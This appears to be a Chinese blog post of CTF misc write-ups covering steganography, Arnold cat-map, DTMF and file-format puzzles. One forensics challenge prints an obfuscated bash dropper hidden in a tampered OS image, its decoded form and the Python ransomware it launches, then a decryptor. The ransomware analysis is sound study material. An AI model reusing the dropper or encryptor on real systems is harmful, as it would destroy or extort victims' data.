群友们问的一些来路不明的题

其实感觉时常做做群友给的题,对自我实力提升其实帮助挺大的

阅前须知

因为本文的题目大都来源于群友的提问,因此我文章中就不放具体的附件下载链接了

如果有需要题目附件的师傅,可以进我的交流群获取附件下载链接^_^

题目名称 大威天龙

题目附件给了一个DOC和一个加密的RAR压缩包

imgs/image-20241217162427407.png

RAR压缩包的注释中有提示

imgs/image-20241217162453240.png

然后用010打开那个doc,发现其实是一个ZIP压缩包

imgs/image-20241217162534874.png

改后缀为.zip然后解压,在gogog路径下可以得到一张JPG图片

imgs/image-20241217162629300.jpeg

结合之前RAR注释中的提示,猜测就是steghide隐写,因此我们直接使用stegseek进行爆破

imgs/image-20241217162848465.png

可以得到一个txt文件,内容如下

imgs/image-20241217162955725.png

因此压缩包解压密码就是:恭喜你找到了rar压缩包的密码,快去解压吧!

Tips:这里有的师傅用010打开会发现看不到中文,是因为这里使用的是GBK编码,可以使用记事本或者CyberChef查看

imgs/image-20241217163150370.png

解压RAR压缩包后可以得到一张PNG图片和一个filename.c的代码

猜测图片被这个代码加密了,因此我们尝试逆向这个代码,结果发现原来的Python代码就写在注释里

imgs/image-20241217163442113.png

imgs/image-20241217163637471.png

因此直接写个脚本还原一下flag.png即可,还原后可以得到一张二维码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
from PIL import Image


img = Image.open(r"out.png")
width,height = img.size
pix = img.load()

new_img = Image.new("RGBA", img.size)
new_pix = new_img.load()

for y in range(height):
    for x in range(width):
        b, a, r, g = pix[x, y]
        # 恢复亮度和对比度
        r = (r - 10) / 0.01
        g = (g - 10) / 0.01
        b = (b - 10) / 0.01
        a = (a - 10) / 0.01
        new_pix[x, y] = (int(r), int(g), int(b), int(a))

new_img.show()
new_img.save(r"flag.png")

最后扫码即可得到flag:flag{5fbb5f2b0f9234576d2742f225044463}

imgs/image-20241217164317654.png

题目名称 外星的凯撒凯撒凯撒

解压附件,可以得到一个DOCX还有一个加密的压缩包

imgs/image-20241217170952765.png

打开DOCX文件,发现里面有一部分文字是白色的,直接全部修改为红色并去除所有格式

imgs/image-20241217171536175.png

然后发现有很多行base64编码,猜测是base64隐写

imgs/image-20241217171656620.png

直接PZ解base64隐写可以得到:The ciphertext is:I0qwVtx2ft

然后我们在DOCX中调大缩放,可以看到有一个4music.wav的图标,直接双击即可打开一个wav

imgs/image-20241217171854306.png

播放发现是SSTV,扫描后可以得到密钥:ccttttf

imgs/image-20241217182044190.png

imgs/image-20241217182052665.png

然后维吉尼亚解密即可得到压缩包解压密码:G0odCae2ar

imgs/image-20241217182259005.png

使用得到的密码解压压缩包后可以得到一个flag.xlsx

把后缀改为.zip然后解压,在sheet1.xml中可以发现有很多内容,因此猜测是设置了特殊格式

然后根据 400行x400列 猜测是藏了一个二维码

imgs/image-20241217182445544.png

因此我们打开flag.xlsx文件,仔细观察发现有的单元格字体是加粗的,我们把加粗的单元格都涂黑

imgs/image-20241217182709212.png

imgs/image-20241217182740720.png

然后调整一下列宽得到一张二维码

imgs/image-20241217182855783.png

最后扫码即可得到flag:flag{Cae2ar+Cae2ar+Cae2ar+...=Vigenre}

imgs/image-20241217183113697.png

题目名称 图的点很奇怪

题目附件给了一张PNG图片还有一个加密的ZIP压缩包,猜测需要从PNG图片中获取压缩包的解压密码

imgs/image-20241218193239301.png

用010打开这张PNG图片,提示报错,仔细观察发现是图片chunk的CTYPE被修改了,尝试改回IDAT

imgs/image-20241218193434241.png

然后发现图片末尾有多余的数据,尝试删除多余的数据

imgs/image-20241218193558124.png

多余的数据删除后,图片就可以正常显示了,010中打开也没有报错了

放大图片查看,发现图片中有很多间隔相同的小点,猜测是隐写了另一张图片

imgs/image-20241218193727094.png

因此我们尝试提取等距像素点,可以提取出来下面这张图片

imgs/image-20241218193916026.png

因此压缩包的解压密码就是:$df&vK1RGqoj,用得到的压缩包密码解压后可以得到下图

imgs/image-20241218194027697.png

010打开上图,发现末尾藏了一张数据逆置后的PNG图片

imgs/image-20241218194114298.png

直接把末尾的数据复制出来CyberChef转换一下即可得到flag:flag{d4405ce1-3aac-ffb1-68af11-7d93e2066a}

imgs/image-20241218194211209.png

题目名称 cat(技能兴鲁)

题目附件给了一个cat_encode.py还有一张cat.png

imgs/image-20241218194619452.png

cat_encode.py的内容如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
def arnold_encode(image, shuffle_times, a, b):
    arnold_image = np.zeros(shape=image.shape)
    h, w = image.shape[0], image.shape[1]
    N = h
    for time in range(shuffle_times):
        for ori_x in range(h):
            for ori_y in range(w):

                new_x = (1*ori_x + b*ori_y)% N
                new_y = (a*ori_x + (a*b+1)*ori_y) % N

                arnold_image[new_x, new_y, :] = image[ori_x, ori_y, :]

        image = np.copy(arnold_image)
    cv2.imwrite('cat.png', arnold_image, [int(cv2.IMWRITE_PNG_COMPRESSION), 0])
    return arnold_image

很明显就是经典的arnold猫脸变换了,但是没有给我们shuffle_times、a、b

因此猜测需要我们进行爆破,编写以下脚本进行爆破即可,当然能爆破的前提是三个值都不会太大

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import matplotlib.pyplot as plt
import cv2
import numpy as np

def arnold_decode(image, shuffle_times, a, b):
    """ decode for rgb image that encoded by Arnold
    Args:
        image: rgb image encoded by Arnold
        shuffle_times: how many times to shuffle
    Returns:
        decode image
    """
    # 1:创建新图像
    decode_image = np.zeros(shape=image.shape)
    # 2:计算N
    h, w = image.shape[0], image.shape[1]
    N = h  # 或N=w

    # 3:遍历像素坐标变换
    for time in range(shuffle_times):
        for ori_x in range(h):
            for ori_y in range(w):
                # 按照公式坐标变换
                new_x = ((a * b + 1) * ori_x + (-b) * ori_y) % N
                new_y = ((-a) * ori_x + ori_y) % N
                decode_image[new_x, new_y, :] = image[ori_x, ori_y, :]
        image = np.copy(decode_image)
        
    return image

def arnold_brute(image,shuffle_times_range,a_range,b_range):
    for c in range(shuffle_times_range[0],shuffle_times_range[1]):
        for a in range(a_range[0],a_range[1]):
            for b in range(b_range[0],b_range[1]):
                print(f"[+] Trying shuffle_times={c} a={a} b={b}")
                decoded_img = arnold_decode(image,c,a,b)
                output_filename = f"flag_decodedc{c}_a{a}_b{b}.png"
                cv2.imwrite(output_filename, decoded_img, [int(cv2.IMWRITE_PNG_COMPRESSION), 0])
                
if __name__ == "__main__":
    img = cv2.imread("cat.png")
    arnold_brute(img, (1,6), (1,11), (1,11))

最后发现当shuffle_times=3、a=6、b=9时可以得到下图

imgs/image-20241218200611778.png

因此最后的flag就是:flag{022ae0e0-c61e-428c-9f76-2eb089a58348}

题目名称 被偷梁换柱的镜像

题目背景如下:

公司的运维人员使用了其U盘上的华为OpenEuler国产操作系统的ISO镜像,来给多台服务器安装系统,殊不知这些系统已经被悄悄的替换并嵌入了勒索病毒。。。多个月后,病毒偷偷的把数据加密了,你能帮忙分析并解密吗?

附件给了一个被加密的文件还有一个ISO镜像文件

ISO镜像直接双击挂载或者用Disk Genius挂载可以得到安装的镜像install.img

imgs/image-20241218131830249.png

install.img因为系统格式不同,因此Windows下无法直接挂载

但是img镜像其实就是一个压缩包,用bandzip可能无法正常解压,但是我们可以使用7zip进行解压

第一层解压可以得到rootfs.img,再解压一层即可得到Linux的文件系统

imgs/image-20241218132121101.png

然后我们在\rootfs\var\adm路径下可以得到一个runrunrun.bash,内容如下

1
2
3
4
z="
";lDz='Hz';Oz='id';VFz='y';jDz='$B';TCz=';G';MEz='gz';GDz=''\''j';az='"';OCz='4'\''';ez='se';rDz='Mz';Vz='/n';XDz=''\''D';KEz='$d';Cz='UR';HEz='$b';dEz='Oz';IEz='cz';qz='if';eDz='z$';Fz='tt';XEz='$s';OFz='ch';kz=' "';IBz='='\''';EEz='Vz';IDz=' '\''';qBz='Uz';LEz='$f';TEz='nz';oz='RL';MBz=''\'';';cz='sp';tFz='at';lEz='GB';ACz=''\''v';oBz=';O';RBz='Gz';Jz='pi';kBz='Cz';JEz='$c';KFz='d ';bEz='xz';VBz='m'\''';CDz=''\''X';wEz='si';vCz='tz';DBz=' t';KDz=''\''F';UDz=';V';WBz=';B';dz='on';dDz='al';XFz='40';YEz='$u';SEz='$m';YBz='IB';DCz='CB';eEz='Lz';YDz='wz';ZFz='py';rCz='Wz';FEz='$Z';yDz='$U';TBz=';J';OBz='O'\''';xDz='$T';dFz='/r';EFz='/R';eBz=';k';YFz='0 ';qEz='un';TDz=','\''';Kz='.b';UCz='h'\''';jCz='jz';Ez='"h';aDz=';P';pCz=';d';JCz='vz';PDz='M'\''';hCz=';m';iz='l ';Iz='/a';mEz='$D';qCz=''\''c';ECz=''\''/';UEz='$o';XBz=''\''{';UFz='.p';iDz='Az';QEz='$k';cBz=';F';nz='_U';yBz=';H';bz='re';jz='-s';BBz='" ';tBz=''\''%';HDz='Fz';HBz='Jz';vEz='pa';HCz=';c';CCz=''\'')';eFz='oo';NFz='/.';sz='$r';hEz='$X';aEz='$w';sCz='x'\''';fFz='t/';BCz='DB';LCz=';S';rz=' [';FBz='z=';tEz='-P';RDz=''\''7';OEz='$i';Az='AP';kCz='Z'\''';kEz='FB';uFz='e.';Sz='/c';SCz='~'\''';MFz='mp';bBz='a'\''';VEz='$p';lz='$A';gDz='$E';FFz='TL';VDz=''\'''\''';REz='lz';qDz='$M';sBz=';x';SBz='e'\''';eCz=''\''@';oCz='2'\''';Tz='he';fCz='yz';mDz='$I';JBz='l'\''';uz='po';RFz='up';BFz='fi';FCz='oz';SDz='uz';QCz=''\''9';IFz='in';aFz='th';YCz=''\''y';cCz='}'\''';DFz='wa';PFz='ec';RCz='Dz';aCz=''\''1';Rz='om';FDz=';n';nDz='$K';tDz='$O';ZEz='$v';CBz='];';iFz='an';cFz='y ';ZDz='|'\''';jBz=''\''"';iBz=';K';DDz='Rz';mFz=' &';Bz='I_';vDz='$Q';mBz=';A';EDz='\'\''';JDz=';f';LBz=''\''d';Wz='ee';XCz=';T';sDz='$N';ICz=''\''6';yEz='de';WDz=';Q';vz='ns';ODz='pz';Lz='ai';bDz=''\''L';pEz='z"';NDz=''\''$';dCz=';M';kFz='ta';kDz='$G';Mz='du';yCz='Zz';PBz=';L';SFz='da';tz='es';ZCz='BB';xBz='#'\''';oDz='$L';MDz='t'\''';pz='")';mCz=''\''n';GCz='E'\''';AFz=' /';PCz=';l';PEz='$j';xz=' =';oEz='$h';DEz='$Y';vBz=''\''R';rFz='_u';UBz='Bz';jEz='$x';LDz='bz';QFz='k_';wBz='Nz';wz='e"';oFz='10';hz='ur';WEz='Qz';fDz='$C';jFz='t_';nBz='b'\''';MCz=''\''`';WCz='3'\''';pDz='Kz';iEz='EB';KBz=';i';AEz='$V';gz='(c';cEz='$y';nEz='iz';uDz='Pz';Dz='L=';nFz='sl';rEz='zi';uCz=''\''z';lFz='/*';NEz='hz';pFz='tm';uBz='HB';xCz=''\''g';VCz=';E';Uz='ck';bCz='Ez';HFz='25';lBz='*'\''';CFz='rm';JFz=' -';GFz='81';EBz='n';gBz='ez';qFz='p/';iCz=''\''I';TFz='te';ADz='i'\''';hDz='$F';wCz=';s';yz='= ';GEz='az';WFz='mo';Gz='ps';mz='PI';sFz='pd';sEz='p ';QDz=';X';Qz='.c';xEz='wo';fBz=''\''U';ABz='"y';gFz='im';CEz='Xz';LFz='/t';dBz='Q'\''';GBz='";';Xz='d/';NBz='rz';Pz='ub';Zz='ed';BDz=';h';Nz='ba';ZBz=''\''-';QBz=''\''(';hFz='rt';bFz='3 ';lCz=';a';tCz=';g';pBz=''\''s';cDz='ev';uEz=' $';BEz='$W';gEz='$J';NCz='qz';nCz='Yz';fz='=$';fEz='$R';Hz=':/';hBz='G'\''';wDz='$S';gCz='+'\''';aBz='Iz';Yz='lo';KCz='^'\''';rBz='p'\''';

echo "$Az$Bz$Cz$Dz$Ez$Fz$Gz$Hz$Iz$Jz$Kz$Lz$Mz$Nz$Oz$Pz$Lz$Mz$Nz$Oz$Pz$Lz$Mz$Qz$Rz$Sz$Tz$Uz$Vz$Wz$Xz$Yz$Uz$Zz$az$z$bz$cz$dz$ez$fz$gz$hz$iz$jz$kz$lz$mz$nz$oz$pz$z$qz$rz$kz$sz$tz$uz$vz$wz$xz$yz$ABz$tz$BBz$CBz$DBz$Tz$EBz$z$FBz$az$z$GBz$HBz$IBz$JBz$KBz$FBz$LBz$MBz$NBz$IBz$OBz$PBz$FBz$QBz$MBz$RBz$IBz$SBz$TBz$UBz$IBz$VBz$WBz$FBz$XBz$MBz$YBz$FBz$ZBz$MBz$aBz$IBz$bBz$cBz$UBz$IBz$dBz$eBz$FBz$fBz$MBz$gBz$IBz$hBz$iBz$FBz$jBz$MBz$kBz$IBz$lBz$mBz$UBz$IBz$nBz$oBz$FBz$pBz$MBz$qBz$IBz$rBz$sBz$FBz$tBz$MBz$uBz$FBz$vBz$MBz$wBz$IBz$xBz$yBz$FBz$ACz$MBz$BCz$FBz$CCz$MBz$DCz$FBz$ECz$MBz$FCz$IBz$GCz$HCz$FBz$ICz$MBz$JCz$IBz$KCz$LCz$FBz$MCz$MBz$NCz$IBz$OCz$PCz$FBz$QCz$MBz$RCz$IBz$SCz$TCz$UBz$IBz$UCz$VCz$UBz$IBz$WCz$XCz$FBz$YCz$MBz$ZCz$FBz$aCz$MBz$bCz$IBz$cCz$dCz$FBz$eCz$MBz$fCz$IBz$gCz$hCz$FBz$iCz$MBz$jCz$IBz$kCz$lCz$FBz$mCz$MBz$nCz$IBz$oCz$pCz$FBz$qCz$MBz$rCz$IBz$sCz$tCz$FBz$uCz$MBz$vCz$IBz$IBz$wCz$FBz$xCz$MBz$yCz$IBz$ADz$BDz$FBz$CDz$MBz$DDz$IBz$EDz$FDz$FBz$GDz$MBz$HDz$IBz$IDz$JDz$FBz$KDz$MBz$LDz$IBz$MDz$mBz$FBz$NDz$MBz$ODz$IBz$PDz$QDz$FBz$RDz$MBz$SDz$IBz$TDz$UDz$FBz$VDz$EDz$VDz$WDz$FBz$XDz$MBz$YDz$IBz$ZDz$aDz$FBz$bDz$MBz$z$cDz$dDz$kz$lz$eDz$UBz$fDz$eDz$RCz$gDz$eDz$HDz$hDz$eDz$iDz$jDz$eDz$kBz$gDz$eDz$HDz$kDz$eDz$lDz$lz$eDz$UBz$fDz$eDz$bCz$mDz$eDz$HBz$hDz$eDz$HDz$nDz$eDz$iDz$oDz$eDz$HDz$hDz$eDz$HDz$hDz$eDz$pDz$lz$eDz$UBz$qDz$eDz$RCz$gDz$eDz$pDz$hDz$eDz$iDz$jDz$eDz$rDz$sDz$eDz$aBz$tDz$eDz$uDz$vDz$eDz$DDz$wDz$eDz$rDz$xDz$eDz$bCz$hDz$eDz$HDz$yDz$eDz$iDz$AEz$eDz$DDz$BEz$eDz$CEz$DEz$eDz$EEz$FEz$eDz$GEz$HEz$eDz$iDz$AEz$eDz$DDz$BEz$eDz$IEz$JEz$eDz$EEz$hDz$eDz$pDz$KEz$eDz$gBz$LEz$eDz$MEz$mDz$eDz$NEz$OEz$eDz$lDz$PEz$eDz$gBz$QEz$eDz$REz$SEz$eDz$TEz$UEz$eDz$nCz$VEz$eDz$TEz$QEz$eDz$NCz$sz$eDz$WEz$XEz$eDz$NCz$SEz$eDz$TEz$tDz$eDz$vCz$nDz$eDz$HDz$hDz$eDz$iDz$jDz$eDz$rDz$YEz$eDz$bCz$hDz$eDz$HDz$nDz$eDz$iDz$jDz$eDz$rDz$ZEz$eDz$JCz$gDz$eDz$pDz$hDz$eDz$HDz$aEz$eDz$HDz$hDz$eDz$HDz$lz$eDz$UBz$fDz$eDz$bEz$sz$eDz$MEz$cEz$eDz$HBz$gDz$eDz$HDz$hDz$eDz$HDz$lz$UBz$AEz$eDz$EEz$mDz$eDz$dEz$AEz$eDz$EEz$kDz$eDz$iDz$oDz$eDz$eEz$hDz$eDz$HDz$hDz$eDz$eEz$oDz$eDz$ZCz$eDz$iDz$jDz$eDz$kBz$fDz$UBz$fEz$eDz$BCz$eDz$TEz$jDz$UBz$gEz$eDz$fCz$HEz$eDz$DCz$eDz$TEz$KEz$eDz$JCz$hEz$eDz$bCz$jDz$UBz$sDz$eDz$pDz$jDz$UBz$nDz$eDz$kBz$jDz$UBz$nDz$eDz$iEz$eDz$pDz$sDz$eDz$ZCz$eDz$BCz$eDz$fCz$gDz$UBz$nDz$eDz$wBz$nDz$eDz$pDz$jDz$UBz$nDz$eDz$pDz$lz$eDz$UBz$qDz$eDz$bEz$jEz$eDz$kEz$eDz$lEz$eDz$uBz$eDz$kEz$eDz$bCz$nDz$eDz$nCz$mEz$UBz$hDz$eDz$BCz$eDz$BCz$eDz$pDz$nDz$eDz$NCz$hDz$eDz$YBz$eDz$nEz$hDz$eDz$HDz$lz$eDz$UBz$qDz$eDz$bEz$sDz$eDz$lDz$gEz$UBz$oEz$eDz$uDz$fEz$eDz$BCz$eDz$wBz$gDz$eDz$HDz$hDz$eDz$HDz$hDz$eDz$BCz$eDz$pDz$hDz$eDz$HDz$nDz$eDz$iDz$jDz$eDz$rDz$YEz$eDz$bCz$nDz$pEz$z$qEz$rEz$sEz$tEz$uEz$vEz$wEz$xEz$yEz$AFz$BFz$CFz$DFz$bz$EFz$FFz$GFz$HFz$Kz$IFz$JFz$KFz$LFz$MFz$NFz$OFz$PFz$QFz$RFz$SFz$TFz$UFz$VFz$z$OFz$WFz$KFz$XFz$YFz$LFz$MFz$NFz$OFz$PFz$QFz$RFz$SFz$TFz$UFz$VFz$z$ZFz$aFz$dz$bFz$LFz$MFz$NFz$OFz$PFz$QFz$RFz$SFz$TFz$UFz$cFz$dFz$eFz$fFz$gFz$uz$hFz$iFz$jFz$SFz$kFz$lFz$mFz$z$nFz$Wz$sEz$oFz$z$CFz$AFz$pFz$qFz$Qz$Tz$Uz$rFz$sFz$tFz$uFz$ZFz$z$BFz"

Tips:在做取证题过程中如果发现文件较多,其实可以把文件按照时间排序一下,这样可以大大缩短定位时间

是一个加了混淆的bash脚本,代码不长,我们可以手动解一下这个混淆

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
API_URL="https://api.baidubaidubaidubaidubaidu.com/check/need/locked"
response=$(curl -s "$API_URL")
if [ "$response" == "yes" ]; then
eval 'printf "cGFzaXdvZGU9IjE2MjU4ODg4Ijs=" |  base64 -d'
unzip -P $pasiwode /firmware/RTL8125.bin -d /tmp/.check_update.py
chmod 400 /tmp/.check_update.py
python3 /tmp/.check_update.py /root/important_data/* &
sleep 10
rm /tmp/.check_update.py
fi

其实就是base64解码得到压缩包解压密码:16258888,然后解压的过程,然后压缩包中的文件就是加密代码

imgs/image-20241218132440673.png

因此我们接下来需要去找加密代码,发现7zip直接解压出来会丢失这部分的文件

imgs/image-20241218133417809.png

所以我们使用Disk Genius的恢复文件功能去恢复加密的压缩包以及里面的加密代码

imgs/image-20241218132716931.png

改后缀为.zip,然后使用得到的压缩包密码解压即可得到加密代码,内容如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import hashlib
import time
import sys

NODecryptionForYouFFFFFFF = sys.argv[1]

def NODecryptionForYou1(NODecryptionForYou5):
    NODecryptionForYou6 = hashlib.md5(str(NODecryptionForYou5).encode('utf-8')).digest()
    return NODecryptionForYou6[:16]

def NODecryptionForYou2(NODecryptionForYou4, NODecryptionForYou11, NODecryptionForYou12):
    cipher = AES.new(NODecryptionForYou4, AES.MODE_CBC)
    with open(NODecryptionForYou11, 'rb') as NODecryptionForYouMAN8IN:
        NODecryptionForYou7 = NODecryptionForYouMAN8IN.read()
    NODecryptionForYou8 = cipher.iv + cipher.encrypt(pad(NODecryptionForYou7, AES.block_size))
    with open(NODecryptionForYou12, 'wb') as NODecryptionForYouMAN8OUT:
        NODecryptionForYouMAN8OUT.write(NODecryptionForYou8)

NODecryptionForYou5 = int(time.time())
NODecryptionForYou4 = NODecryptionForYou1(NODecryptionForYou5)
NODecryptionForYou3 = f'{NODecryptionForYou5}.locked'
NODecryptionForYou2(NODecryptionForYou4, NODecryptionForYouFFFFFFF, NODecryptionForYou3)

print("SEND 1000 BTC TO [asdjjkh1iuhfihuiu1yrueo-this-is-fake-addr] for decryption, OR WE WILL LEAK ALL YOU DATA!!!")

代码逻辑并不复杂,就是用时间戳MD5值的前16位作为key去进行AES-CBC加密,然后IV保存在加密后文件的前16字节中

解密的思路也比较简单,懒得自己手写了,直接GPT秒了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import hashlib

def NODecryptionForYou1(timestamp):
    # 通过时间戳生成密钥
    NODecryptionForYou6 = hashlib.md5(str(timestamp).encode('utf-8')).digest()
    return NODecryptionForYou6[:16]

def NODecryptionForYou2(key, enc_file, output_file):
    with open(enc_file, 'rb') as f:
        enc_data = f.read()
    
    # 从加密文件中提取 IV 和密文
    iv = enc_data[:16]  # 前 16 字节是 IV
    cipher_text = enc_data[16:]  # 剩下的是密文
    
    # 使用 AES CBC 模式进行解密
    cipher = AES.new(key, AES.MODE_CBC, iv)
    decrypted_data = unpad(cipher.decrypt(cipher_text), AES.block_size)
    
    # 将解密后的数据保存到输出文件
    with open(output_file, 'wb') as f:
        f.write(decrypted_data)

timestamp = 1732250675
key = NODecryptionForYou1(timestamp)
enc_file = f'{timestamp}.locked'  # 加密文件
output_file = f'{timestamp}.decrypted'  # 解密后的文件

NODecryptionForYou2(key, enc_file, output_file)

print(f"File decrypted successfully! Output saved as {output_file}")

运行以上代码,发现解密后的文件是一个zip压缩包,因此改后缀位.zip并解压可以得到一个重要数据.docx

imgs/image-20241218133157811.png

打开DOCX即可得到flag:flag{851bd91f4a8168d2d719ab69eb1423f9}

imgs/image-20241218133121093.png

题目名称 莉可丽丝(迅岚安全杯)

题目附件给了一个压缩包,解压后可以得到一张莉可丽丝 .jpg

imgs/image-20241221163917350.png

010打开发现末尾藏了一个7z压缩包

imgs/image-20241221163939567.png

提取出来后尝试使用弱密码爆破,得到解压密码1234567890

Tips:7z的弱密码爆破可能会有点慢,使用passware kit爆破可能会稍微快一点

imgs/image-20241221163949601.png

解压后得到一个类似于PPTX结构的文件夹,因此我们压缩为zip并改后缀为.pptx

imgs/image-20241221164016806.png

打开PPTX文件,删除覆盖在上面的文字和图片,发现最下面有一行白色的文字,改个颜色即可得到flag:flag{geigei_zhen_de_hao_li_hai} imgs/image-20241221164132989.png

题目名称 电音

附件给了一个wav和一个加密的压缩包

wav用au打开查看频谱图可以看到一个二维码

imgs/image-20241225235620648.png

截个图然后用PPT拼一下可以得到下面这张二维码,扫码得到qr1sc0ol&

imgs/image-20241225235752506.png

因此猜测还有后半段的解压密码,仔细查看那个wav文件,尝试把前面二维码的内容删除

把剩下的内容效果器-音量与压缩-增幅,然后再播放,发现是DTMF电话音

直接用GitHub - ribt/dtmf-decoder 这个项目识别一下可以得到:3863334447777222666666555

imgs/image-20241226000856436.png

然后联想到手机键盘密码,根据下面这个对照表得到dtmfiscool

感谢烛影✌提供的对照表

imgs/image-20241226092225804.jpeg

1
2
3 8 6 333 444 7777 222 666 666 555
d t m f    i    s   c   o   o   l

因此压缩包的解压密码为qr1sc0ol&dtmfiscool,解压即可得到flag:flag{b606eea7-16e4-4b41-9efc-ca000429480f}

题目名称 Coffee_loving_cat(天权信安CTF)

整场比赛Misc的完整wp:首届“天权信安&catf1ag”网络安全联合公开赛-部分misc-CSDN博客

附件给了一个压缩包,里面一共有四个文件,其中三个文件是加密的

imgs/image-20241225205715776.png

但是下面这张文件没有加密,猜测需要从下面这张图片中获取解压密码

imgs/image-20241225205550609.jpeg

发现这张图片主要是讲咖啡价格的,因此密码与咖啡有关,上网搜索可以找到下面这篇文章

星巴克杯子上字母的含义:https://www.mopress.io/food/olejRNQWej

1
2
3
4
5
6
7
8
1. L - 一般拿铁(Latte)
2. VL - 香草拿铁(Vanilla Latte)
3. HL - 榛子拿铁(Hazelnut Latte)
4. FW - 馥芮白(Flat white)
5. CM - 焦糖玛奇朵(Caramel Macchiato)
6. M - 摩卡(Mocha)
7. C加横杠 - 卡布奇诺(Cappuccino)
8. A - 美式咖啡(Americano)

根据这个对应关系和上面那张图可以得到:ALCMCMFW

然后把上面咖啡的价格以此相加6+9+12+10+14+11 = 62联想到base62编码

之前得到的内容base62编码一下可以得到解压密码5bZuRXL0Mjf

解压后可以得到两张图片,里面有两张二维码

imgs/image-20241225212423398.png

imgs/image-20241225212429255.png

扫码后可以得到如下内容

1
2
3
Megrez is yyds!!!

Megrez is my god!!!

然后我们看另一张图片,结合题目名称中的cat,猜测是Arnold猫脸变换

因为shuffle_times、a、b三个参数都未知,因此我们尝试爆破一下

最后发现正确的shuffle_times、a、b分别为 12、0、9

Tips:这里因为图片不是正方形,所以需要分别取模宽和高

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
import cv2
import numpy as np

def arnold_decode(image, shuffle_times, a, b):
    decode_image = np.zeros(shape=image.shape)
    h, w = image.shape[0], image.shape[1]
    for time in range(shuffle_times):
        for ori_x in range(h):
            for ori_y in range(w):
                new_x = ((a * b + 1) * ori_x + (-b) * ori_y) % h
                new_y = ((-a) * ori_x + ori_y) % w
                decode_image[new_x, new_y, :] = image[ori_x, ori_y, :]
        image = np.copy(decode_image)
    return image

if __name__ == "__main__":
    img = cv2.imread("fla@.bmp")
    decode_img = arnold_decode(img, 12, 0, 9)
    cv2.imwrite('flag.png',decode_img)

运行以上脚本后即可得到flag:flag{512ed05a-629a-11ed-ae9d-ac1203fb3249}

imgs/image-20241225215512617.png

题目名称 简单的图片(XSCTF联合招新赛)

附件给了下面这张图片

imgs/image-20241225220056396.png

zsteg扫一下,发现LSB隐写了数据

imgs/image-20241225220153184.png

尝试用zsteg -e b1,bgr,lsb,xy IM.png > data.txt导出可以得到如下数据

1
['xxfxc', 'xxfst', 'xxtfc', 'xxfxt', 'xxfft', 'xxttc', 'xxffs', 'xxsft', 'xxftc', 'xxtfx', 'xxtfc', 'xxfcf', 'xxfxs', 'xxtfx', 'xxctx', 'xxfcx', 'xxtfx', 'xxsff', 'xxfsf', 'xxtfc', 'xxfxt', 'xxcxs', 'xxtfx', 'xxfsf', 'xxtfc', 'xxftx', 'xxfts', 'xxfxs', 'xxfcf', 'xxsfc', 'xsxxx']

仔细观察上面的数据,发现都是x开头的,然后每个字符串的长度都是5,并且字符集就是xsctf这五个字符

因此猜测是五进制,结合最后一个字符xsxxx对应01000(125)刚刚好是{,更加确定是五进制了

因此我们写一个脚本转换一下即可得到flag:flag{\y0u_are_An_1mag3_master/}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
lst = ['xxfxc', 'xxfst', 'xxtfc', 'xxfxt', 'xxfft', 'xxttc', 'xxffs', 'xxsft', 'xxftc', 'xxtfx', 'xxtfc', 'xxfcf', 'xxfxs', 'xxtfx', 'xxctx', 'xxfcx', 'xxtfx', 'xxsff', 'xxfsf', 'xxtfc', 'xxfxt', 'xxcxs', 'xxtfx', 'xxfsf', 'xxtfc', 'xxftx', 'xxfts', 'xxfxs', 'xxfcf', 'xxsfc', 'xsxxx']

trans = str.maketrans("xsctf","01234")

flag = ""
for item in lst:
    flag += chr(int(item.translate(trans),5))
    
print(flag)
# flag{\y0u_are_An_1mag3_master/}

题目名称

0%